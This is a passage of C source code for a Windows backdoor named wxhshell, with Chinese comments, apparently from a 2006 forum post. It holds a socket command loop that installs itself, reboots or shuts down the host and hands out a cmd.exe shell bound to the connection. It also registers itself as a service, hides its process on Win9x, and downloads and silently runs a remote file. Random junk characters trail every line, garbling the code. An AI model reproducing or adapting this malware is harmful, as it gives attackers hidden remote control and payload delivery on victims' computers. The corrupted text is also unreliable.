      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E,6|-V;?  
    break; F}u'A,Hc  
  } P! +Gwm{  
  // 安装 n>,:*5"G  
  case 'i': { 5,gT|4|B\g  
    if(Install()) ,6{z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W9%v#;2  
    else u4~+Bc_GL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F9j@KC(yg  
    break; v@%4i~N  
    } IQO|)53)  
  // 卸载 Q^f{H.  
  case 'r': { 4C3_ gm  
    if(Uninstall()) N=\ zx^w,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .gg0rTf=-  
    else r5~ W/eE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X=whZ\EZ  
    break; $.Tn\4z&  
    } L=#NUNiXr  
  // 显示 wxhshell 所在路径 v'S]g^  
  case 'p': { Qz[^J  
    char svExeFile[MAX_PATH]; Kz42AC  
    strcpy(svExeFile,"\n\r"); 0vj CSU-X  
      strcat(svExeFile,ExeFile); 5bt>MoKxv  
        send(wsh,svExeFile,strlen(svExeFile),0); |)!f".`  
    break; BF W b0;+  
    } >O\+9T@  
  // 重启 -NJpql{Cb  
  case 'b': { FB?~:7+'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FJZ'P;3  
    if(Boot(REBOOT)) i=#`7pt%'a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Csuasi3]1d  
    else { <{cY2cx~3  
    closesocket(wsh); S&}7XjY  
    ExitThread(0); 7{}E{/  
    } U/enq,-F^  
    break; CnB[ImMs(A  
    } N-upNuv  
  // 关机 ,7j8+p|},  
  case 'd': { j_2g*lQ7a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -0CBMoe  
    if(Boot(SHUTDOWN)) \B4H0f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "/6#Z>y  
    else { ] x)>q  
    closesocket(wsh); /.0K#J:  
    ExitThread(0); [gBf1,bK  
    } ;F258/J  
    break; 7=Muq]j2  
    } ht2Fi e  
  // 获取shell iKaX8c,zI  
  case 's': { ^!S4?<v  
    CmdShell(wsh); 0FcDO5ia  
    closesocket(wsh); i)e6 U(H  
    ExitThread(0); r[!~~yu/o  
    break; Sqn>L`Lz  
  } ltuV2.$  
  // 退出  <)TIj6  
  case 'x': { 0;TiNrzg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s@{82}f~  
    CloseIt(wsh); 4JK6<Pk  
    break; 29J|eBvxx  
    } )r46I$]>  
  // 离开 Trs~KcsD  
  case 'q': { t[q2 W"#.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !d()'N  
    closesocket(wsh); S} UYkns*  
    WSACleanup(); #[M^Q h  
    exit(1);  G06;x   
    break; =7+%31  
        } :Ob4WU  
  } qR cSB  
  } %q|* }l  
F8?,}5j  
  // 提示信息 ` 1+*-g^r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X>7Pqn'  
} :? B4q#]N  
  } p'LLzc##  
75;RAKGi  
  return; &qWg$_Yh  
} oA5Qk3b:  
1L::Qu%E  
// shell模块句柄 R7rM$|n=o  
int CmdShell(SOCKET sock) RCTqV.L  
{ \9,lMK[b  
STARTUPINFO si; KOe]JDU  
ZeroMemory(&si,sizeof(si)); O;4S<N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \{<ml n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &PPnI(s^K  
PROCESS_INFORMATION ProcessInfo; gWHY7rv  
char cmdline[]="cmd"; qGag{E5!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fZf>>mu@r'  
  return 0; o% +w:u.  
} D>jtz2y=D  
vVtkB$]L  
// 自身启动模式 {s@!N  
int StartFromService(void) " oxUKT  
{ H$ nzyooh  
typedef struct 8-+# !]  
{ 3q/"4D  
  DWORD ExitStatus; xKL(:ePS  
  DWORD PebBaseAddress; w@2NXcmw  
  DWORD AffinityMask; ^) s6`:  
  DWORD BasePriority; NblPVxS  
  ULONG UniqueProcessId; P}AwE,&Q  
  ULONG InheritedFromUniqueProcessId; +xIVlH9`Q  
}   PROCESS_BASIC_INFORMATION; *8qRdI9  
=UO7!vr;[  
PROCNTQSIP NtQueryInformationProcess; JT}"CuC  
9*j"@Rm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [i~@X2:Al  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n.N0Nhd  
"=]'"'B:  
  HANDLE             hProcess; )%Xp?H_  
  PROCESS_BASIC_INFORMATION pbi; vB7]L9=@"  
|o eg'T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N *m;A6?  
  if(NULL == hInst ) return 0; w@P86'< v  
w,6gnO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HHyN\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'O~_g5kC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M Ir[_  
tWZ8(E$  
  if (!NtQueryInformationProcess) return 0; {nZP4jze  
c;b<z|}z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y"5FK  
  if(!hProcess) return 0; 4t*VI<=<[  
}5" Rj<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }rVLWt  
sn[<Lq  
  CloseHandle(hProcess); :ldI1*@i<  
SPT x-b[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1N]-WCxQ  
if(hProcess==NULL) return 0; Ktuv a3=>N  
Xhyc2DKa_  
HMODULE hMod; V+' zuX  
char procName[255]; ]*DIn1C^  
unsigned long cbNeeded; *Q [%r  
OpOR!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ka{QjW!%d<  
sN[<{;K4  
  CloseHandle(hProcess); k fOd|-  
OlW5k`B  
if(strstr(procName,"services")) return 1; // 以服务启动 Ov:U3P?%  
q|B.@Ng.  
  return 0; // 注册表启动 ;cv\v(0  
} coXm*X>z  
wXeJjE%j:3  
// 主模块 oXwcil  
int StartWxhshell(LPSTR lpCmdLine) O[}2  
{ cpq0' x\  
  SOCKET wsl; >tkU+$;-  
BOOL val=TRUE; NUY sQO)  
  int port=0; zW95qxXg  
  struct sockaddr_in door; OYfP!,+bn  
,-1taS  
  if(wscfg.ws_autoins) Install(); =5p?4/4 J  
P^/e!%UgC  
port=atoi(lpCmdLine); scEE$:  
!E/%Hv1  
if(port<=0) port=wscfg.ws_port; bu\D*-  
40LA G  
  WSADATA data; wGpw+O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m,]h7xx  
q'[yYPDX5x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yc$8X sns  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ")qO#b4  
  door.sin_family = AF_INET; t7 $2/C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !8%{(;(  
  door.sin_port = htons(port); %$(*.o!+8  
X@7e 7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c:`&QDF  
closesocket(wsl); ;Q8rAsf 9  
return 1; 8!dA1]2;  
} DO=zxdTI!  
T$xY]hqr  
  if(listen(wsl,2) == INVALID_SOCKET) { R$ 40cW3`  
closesocket(wsl); Qte'f+  
return 1; N|WR^MQD  
} \ 5^GUT  
  Wxhshell(wsl); ~%:23mIk  
  WSACleanup(); 9L xa?Y1  
}3mIj<I1;  
return 0; :~]ha  
s@bo df&  
} >sE{c>R%  
[VwoZX:  
// 以NT服务方式启动 owc#RW9 7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hAp<$7  
{ iY1JU -S  
DWORD   status = 0; k@ZmI^  
  DWORD   specificError = 0xfffffff; 8MPXrc,9-  
My!<_Hp-W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =h 2zIcj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2s@<k1EdPl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x+7jJ=F  
  serviceStatus.dwWin32ExitCode     = 0; sIh,@b  
  serviceStatus.dwServiceSpecificExitCode = 0; J$D#)w!$j  
  serviceStatus.dwCheckPoint       = 0; R nf$  
  serviceStatus.dwWaitHint       = 0; }@:vq8%Q  
ajz%3/R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {` Lem  
  if (hServiceStatusHandle==0) return; k:0HsN!F9  
xTW$9>@\m  
status = GetLastError(); @(:M?AO9S.  
  if (status!=NO_ERROR) A/EW57v"  
{ 3Vl?;~ :5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BK8)'9/  
    serviceStatus.dwCheckPoint       = 0; /"$;3n~  
    serviceStatus.dwWaitHint       = 0; Pp[?E.]P  
    serviceStatus.dwWin32ExitCode     = status; DLv\]\h}L  
    serviceStatus.dwServiceSpecificExitCode = specificError; gUB%6vG\I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kN*,3)T;}  
    return; + AyrKs?h  
  } _fu?,  
L}1|R*b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @e_ bG@  
  serviceStatus.dwCheckPoint       = 0; 7 Ld5  
  serviceStatus.dwWaitHint       = 0; hX~d1.]Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V3NQij(  
} h7|#7 d  
emo@&6*  
// 处理NT服务事件,比如:启动、停止 3U0>Y%m|,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XP"lqyAi  
{ #%xzy@`  
switch(fdwControl) C$~2FTx  
{ B6&;nU>;  
case SERVICE_CONTROL_STOP: V(|@6ww  
  serviceStatus.dwWin32ExitCode = 0; K"O+`2$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w]hs1vch  
  serviceStatus.dwCheckPoint   = 0; >weY_%a  
  serviceStatus.dwWaitHint     = 0; .|Pq!uLvc  
  { r(W=1e'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F/FUKXxx  
  } %- W3F5NK  
  return; $ \j/s:Y  
case SERVICE_CONTROL_PAUSE: ab5 a>w6}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dBKL_'@@}  
  break; '`#sOH  
case SERVICE_CONTROL_CONTINUE: Wm{Lg0Nr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fy^=LrH=D  
  break; x$o?ckyH  
case SERVICE_CONTROL_INTERROGATE: cRm+?/  
  break; 0drt,k  
}; N^\<y7x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #"J8]3\F  
} *w> dT  
n.&z^&$w\)  
// 标准应用程序主函数 kcg{z8cd'r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?6;9r[ p  
{ o}q>oa b z  
WZ\bm$  
// 获取操作系统版本 ]W^F!p~eC  
OsIsNt=GetOsVer(); s9R#rwIc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5eP8nn.D  
*E*= ;BG  
  // 从命令行安装 Ah5`Cnv  
  if(strpbrk(lpCmdLine,"iI")) Install(); fhGI  
~:`5Y"Av:  
  // 下载执行文件 }^!8I7J.  
if(wscfg.ws_downexe) { cR'l\iv+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I$. HG]  
  WinExec(wscfg.ws_filenam,SW_HIDE); cEI "  
} *$K_Tii  
77KB-l2  
if(!OsIsNt) { ~m:oJ+:O  
// 如果时win9x,隐藏进程并且设置为注册表启动 zSy^vM;6zf  
HideProc(); z TYHwx  
StartWxhshell(lpCmdLine); b`a4SfbQS  
} 6_Ps*Ed  
else uDhe )  
  if(StartFromService()) w ]8+ OP  
  // 以服务方式启动 +,7nsWV  
  StartServiceCtrlDispatcher(DispatchTable); O+iNR9O  
else X:N`x  
  // 普通方式启动 \wMqVRPoQ  
  StartWxhshell(lpCmdLine); f4%Z~3P  
z$64Ep#  
return 0; #`Af  
}
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只看该作者 1 发表于: 2006-10-10
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